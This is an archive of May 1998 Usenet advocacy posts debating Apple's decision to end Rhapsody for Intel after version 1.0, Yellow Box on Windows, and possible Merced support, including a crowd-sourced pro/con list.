> >: > [S8] IT managers that buy Intel machines can
> >: > only be pursuaded to switch from Microsoft solutions to other
> >: > solutions if these other solutions run on the hardware they bought.
> >: > Thus Rhapsody/Intel is the only way for Apple to steal seats from
> >: > Microsoft.
> >
> >: Shouldn't Yellow-Box-on-Microsoft-OS be even easier to sneak in
> than
> >: Rhapsody-on-Intel ? This is a solution that runs not only on the
> >: hardware, but also on the software that they bought.
> >
> >How does Yellow-Box-on-Microsoft-OS make Apple any money ... esp. with the
> >promised "free runtime".
>
> Some folks asked that at the YB Feedback session. Apple didn't do a clear
> job of saying why this was good. The theory basically goes like this. A
> lot of developers won't develop for MacOS, or are leaving the Mac world,
> because the market is too small to make a lot of money. Selling to 1% of
> 90% of the market is a LOT more profitable than 1% of 4% of the market. So
> if you can do YB programming, you've got the best of both worlds. You can
> keep delivering Mac products, and with a simple recompile, deliver to the
> Windows world. And you can deliver that product to both markets at the same
> time. This is better for all concerned. The developer has a bigger market
> to sell to, and gets to continue to use Macs. Customers don't have their
> favorite apps going totally over to Windows, or have them being not as in
> sync with their Windows counterparts. And Apple can claim they have tons of
> apps and are the best development environment for Windows+Mac programming,
> which is very good PR.
And this is a good argument, but it's also a very good argument for
Rhapsody/Intel. In fact, without Rhapsody/Intel, I'm not sure who other
than a few Mac-oriented developers is going to find this argument terribly
interesting.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: No Mac OS X for Intel...?
Date: 20 May 1998 06:27:56 GMT
Organization: Occam's Razor
Message-ID: <6jtt5c$q8k$1@news.cmc.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maybe this has been mentioned already, but I'd like to examine a
couple of statements we've received lately.
> > Stepwise is the more reliable source. To wit, Scott posed the
question to
> > Steve Jobs himself. Over the weekend, Jobs sent this response:
> >
> > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
> > ] All efforts are going into Mac OS X. Apple has not commited
> > ] to shipping Mac OS X on any platform other than PPC.
and
>From: Jordan Dea-Mattson >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
>fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
Note the choice of words here: "PC Compatibles".
Is it possible that Steve and Jordan have chosen their words carefully
so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
OK, maybe it's a stretch, or wishful thinking.... But Merced, if you
believe Intel's schedule, is due out right about the same time as
Mac OS X's public release. Maybe we'll see Mac OS X for Intel after
all, just not for x86. (Granted, a version for IA-64 isn't quite the
same thing, market-wise.)
Could Apple really ignore the chip that'll be backed by not only M$,
but HP, SCO, Sun, etc.? I guess they could. Still....
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 20 May 1998 06:30:55 GMT
Organization: Michigan State University
Message-ID: <6jttav$lh$1@msunews.cl.msu.edu>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982104420001@209.24.240.108>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: see-below@not-my-address.com
Ok folks I've reconstructed my list incorporating changes. I'm
trying to use notation
Reasons to:
S = Save Rhapsody on Intel
D = Dump Rhapsody on Intel
Within those We should use (Fxxx) for reasons for Syy or Dzz
to stand for arguements for, and (Axxx) for arguments against.
Somehow it's going to be difficult to figure out a way to deal
with including a argument against and argument against, etc.
But if we can try not to get to deep then we should be ok.
If people kind of follow the notation when they post I'll
try to collect them, and repost the new form.
I'm not sure we'll get anywhere but I'll at least put a little
effort forward.
*******************************************************************
Reasons why Apple should drop Rhapsody for Intel.
(D1) Because YB on 9x/NT will have the benefits of YB apps (including
WO, EOF, etc.) along with giving access to all of the MS
apps - seemless. Cheap as you can get.
(F1) (arun gupta) This is easier to sneak on Intel than Rhapsody
for Intel. This solution is FREE and runs not only on the hardware,
but also on the software that they bought.
(A1) (Matthew Vaughan) YB doesn't do anything to make it
easier to switch to PPC, unless all of the applications you use
are available on PPC, and even then it's a different interface.
Moving from Rhapsody Intel to Rhapsody PPC should be largely
transparent - same user interface, etc. so you hardly notice the
change.
(F2) Argument agains (A1) above. Either way from YB to
Rhapsody/Intel or Rhapsody PPC you face loosing the NT/9x
apps. You are right that going from Rhapsody/Intel to Rhapsody
PPC would be more transparent (i.e. you'd be weened from
the windows apps already) and all you'd be doing is purchasing
PPC hardware.
(F3) (arun gupta)
Since Apple just wants to get more seats in the world to run
YB apps. YB on 9x/NT is far more important than Rhapsody
on Intel.
(F4) (AJ LaSalle)
Providing Windows native YB development tools is also far
more important than Rhapsody-on-intel.
(D2) (1) would indicate that YB 9x/NT will sell many more copies than
Rhapsody for Intel(RI) so why spend money to develop it when
Apple won't be selling too many copies.
(D3) Who will purchase it over YB? Why? Is that sufficient reason?
(D4) Rhapsody for Intel will only take away from PPC sales, another
reason to dump it.
Args
(F1) (Matthew Vaughan) It's already hard enough for Mac's
to compete against
PC's even with a lousy OS. It will be much more difficult
to compete against them if they have a good OS. And even
if Apple is the one selling the OS, they won't make as
much money from those sales.
(A1) (Matthew Vaughn) If they can show clear advantages
over Rhapsody on PPC vs. Intel this may not be too big
of a problem. Or they could choose to charge enough for
Rhapsody/Intel to make it profitable even if people buy
it in preference to the PPC version. Either way I see this
as preferable than dropping it entirely. Among other things,
Intel users may never lear how much better Rhapsody is
in the first place, if they don't get to try it out on their PC.
(D5) If a person or organization runs Rhapsody for Intel they will
loose 9x/NT compatibility except through a dual boot - so
why would they do this vs. just running NT/9x w/ YB?
(A1) (Matthew Vaughan)
There easily could be a 'red-box' which runs Windows
inside a window, or on alternate screen with a hot key
(seperate process like BlueBox on Mac hardware).
Ideal would be like Orange Micro's new "snapshot"
feature on their intel hardware compatibility cards for
Macs, where either environment can appear withing a
window in the other environment, with easy alternation
between the two. This could be third party or built
into system by Apple
(Arg against A1)
There isn't anything like this so I can't say one can
make a case that D5 isn't a valid point. I agree that
someone could do this - AND that it would be a very
positive reason for people to buy Rhapsody on Intel.
I'm not sure it could work both ways (Rhap in a window
vs. Windows in a Window (giggle)). But it could solve
the compatibility issues on Intel that would give people
a chance to buy Rhapsody on Intel..
(D6) What if we knew that YB performance would be just as good
as YB on Mach for YB applications - except for the web
servers of course which will run far better on a G3 anyway.
Would you still buy Rhap1.0 on Intel vs. YB on 9x/NT?
(D7) Drivers - the amount of $$ just to support devices costs
too darn much - the complaints resulting from none or
badly supported drivers will do more to hurt Rhapsody/Apple
than to help it.
(A1) (mark@milestonerdl.com) Some Apple folks have
said that it would be expensive - others have said 'virtually
free'. So which is it? Is I/O Kit etc. great or not?
(D8) BTW: Did we tell you with Enterprise you can still develop
YB apps on YB on NT (I'm not sure about 9x - would assume
it would work there too).
(D9) SMP will be too hard on Intel vs. PPC (or too much time/$$)
this will also be percieved negatively by many people..
"We just can't win by supporting Rhapsody for Intel"
(D10) (Bob Cassidy)
Focus. In 15 months x86 will not be Intels server line,
Merced will be. Why not focus on delivering the first
Merced Server OS with native apps (the power of YellowBox).
x86 is lost to NT, but Merced may not be unless MS is right
there with NT which seems unlikely just looking at their track
record. In the mean time, why get MS's attention with an OS
that we all know won't make substantial inroads. Shipping
Rhapsody 2.0 or whatever for Merced and demonstrating
YB apps running natively with a mouse click would be worth
giving up x86 now.
(A1) Because Apple will be busy with MacOS X
(A2) Because Apple doesn't have merced boxes to sell
(A3) It's just too far out at this point. Also PPC really
has a lot of room to grow and could possibly be
strong competion for Merced.
(D11) (Bob Cassidy)
Opportunity. Assuming Apple excludes even Merced,
perhaps IBM and Mot have plans for the PPC line that make
x86 and Merced less interesting. Merced migration at the high
end will be a watershed event, not necessarily guaranteeing x86
-> Merced transitions. IBM would make a strong case for PPC at
this time since IBM would finally have a personal interest in pushing
their server line down into the Merced space creating a stronger
partner of IBM which currently has no strong interest in the success
of PPC on the desktop.
(D12) (mark@milestonerdl.com)
Apple right now is saying G3 is 2X speed of Pentium II.
If you have the 'same' OS on PPC/Pent II boxes and don't
see the 2X speed, calls of "the benchmark is a lie" would
ring throught the land.
(My comment - we will be able to test this - Rhap/Int - Rhap
PPC and Linux/Intel for some basic stuff - at least our
benchmarks will be tested - BTW anyone notice that the fp
in the 750 isn't quite up to 604e - so fp benchmarks are
probably going to be in the PII range Mhz for Mhz)
(D13) (mark@milestonerdl.com)
Apple is a hardware company. Unless Apple starts
selling Intel hardware, any Apple branded software
on non-Apple hardware is subject to 'go away' at any
time.
(D14) (mark@milestonerdl.com)
It's an Apple product and therefore trash/made by a
company that is going bankrupt/isn't MS and everyone
who's not MS will be crushed and be gone. (if these
people write the check .. move onto someplace else
or get used to MS). (i.e. get YB!)
Reasons to support Rhapsody for Mach on Intel.
(S1) Because the dropping of the support would be a signal
to many that Apple lacks any commitment to anything but
markets. So if we buy into a technology (software or hardware)
we can easily be left in the dust w/o so much as a blink of an
eye.
(S2) Because the natural path to MacOS X/Rhapsody PPC would
be through YB 9x/NT first then Rhapsody Intel and finally Rhapsody
PPC. It makes for a much easier transition to Rhapsody or MacOS X
to not have to purchase a new OS AND hardware at the same
time.
(S3) Because you've already done most of the work. Why drop
it now? If even .1% of the wintel market picks up a copy
that would mean 100-300K copies. Isn't that enough to pay
for a simple PPC - Intel back port, and a few drivers??
(S4) Because if you drop it Apple will be percieved as following
completely in the steps of NeXT Inc. in terms of proprietary
hardware and software & closed systems which equates
to a philosopy that is even worse than Microsoft - similiar
to that which failed @ SGI (though YB on 9x/NT is your
only VERY IMPORTANT difference). The world already
is against Microsoft - why would they buy into the same
if not worse thing at Apple?
(A1) (mm)
MacOS was the 'anti-MS' choice for how long and that
sold how many copeis? It may be fashionable to hate
Bill but how many boxes does that sell?
(S5) Because if G3 performance is so good having a Rhapsody
on Intel would demonstrably illustrate that to many people..
Rhapsody for Intel would become a reason to buy
PPC and Rhapsody for PPC.
That is unless Apple already knows different (then this
would be a reason for not to support Rhapsody on Intel)
(S6) Because many of your biggest supporters & developers
were forced to purchase Intel - they won't be happy
to be told support for Intel will be dropped in lieu of PPC.
Sure if we are lucky we'll have Rhapsody 1.0 for Intel
to live on for a while.
(A1) Who cares? You have to bend over to have the
pleasure of having the MacOS experience. We've
done it before we'll do it again if need be. Hey we
said we'd support intel with Rhapsody and we will
(for v1.0). We'll also support Powermacs with R1.0
and we will.
(S7) Because if you don't then effectively you have given the
death signal to Rhapsody on Intel & Rhapsody in general.
You Apple in effect are killing any potential of sales
by making this kind of statement. No-one at this point
will purchase it even to try since it will be classified as
dead even before it ships. (Or I should say few -
since I probably will one way or another)
(S8) (courtesy Nathan Urban)
Because some people want an alternative to Windows.
Yellow/Windows suffers from the intrinsic problems with NT,
and doesn't give a taste of the real Mac OS for those really
interested in transitioning from Windows to Macs.
Args for:
(Nathan)
(1) Intel owners are more likely to give Rhapsody/OS X
a look if they can install and use it on their own systems
(read intel). There are some schools and businesses
that are not adverse to running in a non-windows OS,
but are bound by MIS to buy Intel hardware. And buying
Rhapsody/Intel gives people an out -- it's success in the
marke is uncertian, and people would be more likely to try
it if they have the option of always going back to Windows
(or other OS's) without loosing their hardware investiment
(a similiar argument came from Robert F. Tobler)
(S9) Apple makes money on each copy of Rhapsody on Intel
NONE on YB on 9x/NT.
(S10) (courtesy Matthew Vaughn)
What other 'user friendly' OS is available on Intel for people
to try? Rhapsody even has the benefits of the Linux/FreeBSD/
NetBSD/OpenBSD, but may be even easier to use/install,etc
than windows, not to mention that's it's a commercial system
backed by a large company, and with (eventually) an abundance
of commercial apps written for it I think it has a very good chance
of gaining a large following.
Cavaet:
(Matthew)
(1) Not if people know 1.0 is the end of the line!
(S11) (mm)
The premier platform for YB is the PPC platform running (Rhapsody
then MacOS X). Although we support intel x86, we encourage you
to move to the PPC version, if you wish to be a 1st class citizen.
(i.e. we give you better driver support, system support, etc.)
(S12) (mm)
Because if you support what is now known to be a dead processor
line (not quite yet I dare say) x86, then Apple is more likely to be
in the long hall for Merced. This jumping out and jumping in
isn't going to line up people to buy the product.
(S13) (mm)
When the government settles with MS, and the API becomes a public
spec, Apple's implementation combined with YB would be the code
of choice :-)^100
(S14) (mm)
If there was a decent 'red box' on intel for MS compatibility - now
that
might sell a few copies of Rhapsody on Intel.
(A1) Only if the API's for MS products become the spec. This
is blowing in the wind right now. Though if Apple could induce
the Virtual PC folks to make a 'red box' for intel. Now that
might sell a crapload of Rhapsody on Intel copies.
I call these notes of interest.
(N1) (akira@home.com I've translated his post)
Bascially YB compatibility seems to be the only way to get
MacOS developers to stop ditching MacOS for Windows.
(A1) Interesting you try to make this argument. Since if
it held any water Apple wouldn't have had to make Carbon.
Also I make a note here that YB for MacOS developers
seems to only be intended to keep MacOS developers
not to get new ones.
Enterprise is the way to get new developers possibly.
*****************************************************************************
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 20 May 1998 02:39:45 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jttrh$nj$1@crib.bevc.blacksburg.va.us>
References: <6jtt5c$q8k$1@news.cmc.net>
In article <6jtt5c$q8k$1@news.cmc.net>, com.occam@leonvs wrote:
> > > Over the weekend, Jobs sent this response:
> > > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
> > > ] All efforts are going into Mac OS X. Apple has not commited
> > > ] to shipping Mac OS X on any platform other than PPC.
> >From: Jordan Dea-Mattson <jordan@apple.com>
> >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> >fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
> Note the choice of words here: "PC Compatibles".
> Is it possible that Steve and Jordan have chosen their words carefully
> so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
It's conceivable; neither quote denies that possibility. I think that
Apple would not necessarily be adverse to considering OS X on Merced,
but it would depend on a lot of factors, not the least of which is the
availability of native Yellow Box apps at that time, and the acceptance
of YB on Windows. I think that the main idea is that they don't want
to commit to doing it on any other architecture until they see how YB
pans out (after all, other architectures won't have Carbon or Blue Box,
so it would be a pure YB system).
> OK, maybe it's a stretch, or wishful thinking.... But Merced, if you
> believe Intel's schedule, is due out right about the same time as
> Mac OS X's public release. Maybe we'll see Mac OS X for Intel after
> all, just not for x86.
I don't think we'd see it at that time, but perhaps a year later, if they
did decide to offer it. (They'd want to undergo a lot of testing and
such on the new architecture.)
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 06:26:43 GMT
Organization: Digital Fix Development
Message-ID: <6jtt33$l38$1@news.digifix.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <6jtodc$gbh$1@news12.ispnews.com>
In-Reply-To: <6jtodc$gbh$1@news12.ispnews.com>
On 05/19/98, "Zico" wrote:
>x-no-archive: yes
>
>macghod@concentric.net wrote:
>
>>Yes, rhapsody for intel 1.0 will be out, but this will be the end of
rhapsody
>>for intel. Its true.
>>From: Jordan Dea-Mattson <jordan@apple.com>
>>Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles
this
>>fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
>
>Was this a private email to you? I was just skimming, but I
>didn't see it at MacOSRumors, MacInTouch, or MacNN. It's
>pretty huge news, so I would think it would pop up *somewhere*.
>
It was posted to rhapsody-admin or one of the other Omni
mailing lists.
And its not news.. Stepwise confirmed/reported this last
Saturday.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 20 May 1998 02:43:14 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6jtu69$2ol$1@news12.ispnews.com>
References: <6jtt5c$q8k$1@news.cmc.net>
NNTP-Posting-Date: 20 May 1998 06:45:28 GMT
x-no-archive: yes
Leon von Stauber wrote:
>Maybe this has been mentioned already, but I'd like to examine a
>couple of statements we've received lately.
>
>> > Stepwise is the more reliable source. To wit, Scott posed the
>question to
>> > Steve Jobs himself. Over the weekend, Jobs sent this response:
>> >
>> > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
>> > ] All efforts are going into Mac OS X. Apple has not commited
>> > ] to shipping Mac OS X on any platform other than PPC.
>
>and
>
>>From: Jordan Dea-Mattson <jordan@apple.com>
>>Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
>>fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
>Note the choice of words here: "PC Compatibles".
>
>Is it possible that Steve and Jordan have chosen their words carefully
>so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
>
>OK, maybe it's a stretch, or wishful thinking.... But Merced, if you
>believe Intel's schedule, is due out right about the same time as
>Mac OS X's public release. Maybe we'll see Mac OS X for Intel after
>all, just not for x86. (Granted, a version for IA-64 isn't quite the
>same thing, market-wise.)
>
>Could Apple really ignore the chip that'll be backed by not only M$,
>but HP, SCO, Sun, etc.? I guess they could. Still....
Good call on their choice of words, but I don't think they
were being sneaky. Apple has shown multiple times now
a refusal to fully support OSes on non-Mac hardware. Their
hardware group holds a *lot* of political clout within the
company. Drama -- dead. Star Trek -- dead. Rhapsody on
Intel -- dead after the 1.0 release.
Secondly, Apple is trying to tighten their belt, so I
can't see them putting money into moving their OS
onto Merced. With Next/Rhapsody, they already had
a good x86 codebase when they started.
Z
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 20 May 1998 06:44:45 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m4uus.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <355EFC75.4652@erols.com> <199805172329232380717@sdn-ts-001txhousp01.dialsprint.net> <6jomse$dv$3@news.idiom.com> <slrn6m1mcj.k3r.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jr3el$i4b$4@news.platinum.com>
:In <slrn6m1mcj.k3r.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> it seemed Matt
:Kennel wrote:
:> I wonder if they will ever ship for Merced. They could really stir things
:> up by going only for Alpha. Especially now that Compaq---obsequiously
:> Microsoft-friendly---is the owner of the Alpha design. Better if Microsoft
:> just buys the Alpha rights themselves.
:
:Well, you have an incorrect impression of Compaq. The CEO of that
:company feels pretty strongly about reducing their dependence on
:Microsoft -- they just haven't figured out a good way to do it.
Interesting. Unfortuantely I feel that Microsoft will nuke them if they
really try. And will get away with it.
:They made good strides buying DEC, though. That was a good move
:for them.
Really? As far as I've been able to tell DEC has been obsequiously
pro-NT and anti-Unix.
Like the fact that if you want an Alpha motherboard which runs NT
it costs $X, and if you want one which runs Dec Unix (otherwise same
performance) it's nearly $2X. (just incompatible BIOSes).
Yes, Linux works on the $X motherboards, but then its math libraries and
compilers suck. (on our codes a 20+ SPECfp Alpha was no better than a 300
Mhz Pentium II) And DEC won't port its libraries or compilers to
Linux/Alpha. And DEC Unix costs an obscene fortune, even for basic Alpha
based workstations. (Think $2000.)
I've truly never understood the NT-worship by HP and DEC.
"Calling all customers! Customers, please, go to Microsoft's operating
system so that they get all the profits instead of us, and then, in a couple
of years you can upgrade to our competitor's computers next time around
because the software selection is better on them." (And that's because
Microsoft never bothered with fat binaries or equalized development tools
with Alpha and PA-RISC).
All I can imagine is that they are seduced by the fortune that Microsoft
is racking up, somehow imagining that by just being near Microsoft they
can't but help but skim some of that for themselves. "Hello, McFly?!"
All I can think is the it's-so-awful-it's-a-riot episode of the original
Star Trek:
"Brain, Brain, and Brain! What is this... ``Brain''?"
-- space bimbo in silver bikini, epsiode: "Spock's Brain".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 06:41:04 GMT
Organization: Michigan State University
Message-ID: <6jttu0$lh$2@msunews.cl.msu.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net>
<6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com>
<6jsv3g$bia$1@news.digifix.com> <3561FE85.C3B626FC@milestonerdl.com>
<6jti6l$hn0$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6jti6l$hn0$1@news.digifix.com> Scott Anguish wrote:
> On 05/19/98, m rassbach wrote:
> >
> >
> >Scott Anguish wrote:
> >
> >> On 05/19/98, m rassbach wrote:
> >> <snip>
> >> >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
> >> Look at the name of the site. Does that give you a clue
as
> to
> >> the accuracy?
> >
> >The thread from akria@home.com mentioned the author of that email in
> his
> >thread where he mentions the session where Apple confirms on tape
the
> >ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and
> the
> >session date of 197 is thursday.
> >
>
> This was confirmed on Friday during the Yellow Box Feedback
> Forum from what I've been able to find out.
I'm not sure I saw anything on the web pages relating to your
source. Again many thanks for endeavoring to have solid
coverage on the events. And again many thanks for posting
first hand information (I had second hand from Don Yacktman
from posts you made in a private mailing list - omni I think about
the word coming direct from Steve Jobs)
> I confirmed it on Friday/Saturday via email from Steve Jobs.
>
> <snip>
>
> >> >Yet, others say Steve Jobs and in a Q&A (!97) that
Intel/Rhapsody
> >> >is dead beyond 1.0 release. All I have been asking for is a
> >> >statement from Apple via a press release or white paper that
> >> >outlines what the NT5/98 plans are.
> >>
> >> Apple outlined their plans with regard to Yellow Box on
> >> Windows at WWDC. That hasn't changed.
> >
> >Which WWDC? There have been 2 of 'em if you want to split hairs,
and
> >historically WWDC's technology announcements vs deployment record
> isn't
> >awe inspiring.
>
> The WWDC last week.
>
> >Tidbits points out that WWDC 97 said Yellowbox would be out and have
> >'free' YB for windows.
> >
>
> Its unfortunate that Adobe wouldn't allow that.
You hinted it wasn't just Adobe - I'd be interested to know who
else if anyone held out. I'm really a bit curious what other
proprietary
technology NeXT/Apple has in the OS.
If you can could you make a comment on whether is was JUST ADOBE
or others that held out on licensing. I really want to know because
personally I'm never buying another Adobe product again (If I can
avoid it) and will be encouraging others to do the same. And it's
not just because of this one issue. It has been clear that Adobe
doesn't give a poop about support for their products on OS's other
than MS.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 21:13:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35623C4D.1BC5B4BA@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu> <joe.ragosta-1905980757210001@wil104.dol.net> <see-below-1905981826320001@209.24.240.108>
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Matthew Vaughan wrote:
> I agree. It appears you (and others who have maintained this for the last
> few days) are right about Rhapsody for Intel. I also think this is a
> mistake - a _big_ one. Apple has everything to gain and very little to
> lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
Options:
1) Win the multi-state lottery and fund the project. (68 mil or so after taxes)
2) Hope that Steve Jobs is canned and in the reorg, RhapTel is saved
3) Write a nice letter about how RhapTel should be saved.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 06:48:16 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m4v5f.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3>
On Tue, 19 May 1998 18:44:58 -0400, Eric King <rex@smallandmighty.com> wrote:
:
: Chances are fixed-point is going to be faster for most 2D graphics
:work. Why don't you go dig up some computer graphics papers on 2D
:rendering algorithms. Most will be using fixed-point math. Why? On most
:processors it's just faster, and it does allow for some neat 'tricks' to
:be performed.
Most modern processors have multiple instruction issue and separated
floating point and integer units, meaning that FP and integer operations
can happen separately. Even in a FP dependent algorithm there is plenty
of memory moving and index computations to fill up an integer unit.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 20 May 1998 06:53:49 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at> <6jppkd$jp0@newsb.netnews.att.com> <see-below-1905982208000001@209.24.240.108>
On Tue, 19 May 1998 22:08:00 -0700, Matthew Vaughan wrote:
:I agree that Merced may be an excellent target, but going away only to
:come back later isn't a great strategy. Being low key in the meantime is
:one thing (so as to not piss off Microsoft or draw too many customers from
:PPC or whatever), but dropping out of the market altogether is going to
:make all your customers go away, and in a pissy fit, which makes them that
:much less likely to want to come back to you later.
Yes.
Perhaps somebody ought to consider why Sun started and keeps x86 Solaris,
even though it makes its real cash on Sparc Hardware?
* Having x86 Solaris around keeps the company from being seen as overly
proprietary.
* Having x86 Solaris around, however, has not precluded many Sun SPARC
hardware purchases.
* When going to Merced, it will be the x86 developers who can grok the
intricacies of Intel-world motherboards and the associated industry.
No doubt Merced boards and architecture details outside the CPU
will be targeted towards the traditional x86 PC market.
Sun has the same business model as Apple.
Right down to the not-profitable-but
really-cool-cross-platform-software-technology-we-are-trying-to-make
universal division: Java (Sun), Quicktime (Apple).
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 19 May 1998 23:54:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B187CC30-29EF2@206.165.43.150>
References: <djboccip-1905982036450001@tnt1-38.hiwaay.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Dennis J. Boccippio <djboccip@hiwaay.net> said:
>More or less the same things, though my docs tend to be in the 100-200
> page range. Again, I was just questioning if it were "real-time"
> enough for OS usage.
Someone pointed out to me that the binary format of PDF might be much
faster than what we are used to with Acrobat-style documents. I'd still
prefer to see a home-grown solution dedicated to Apple's specific needs,
but if PDF-binary proves fast enough, then it doesn't matter, I guess.
Of course, then you're still left with parsing images created in one
application to find specific text/graphics for use in another
application...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.programmer,comp.sys.next.advocacy
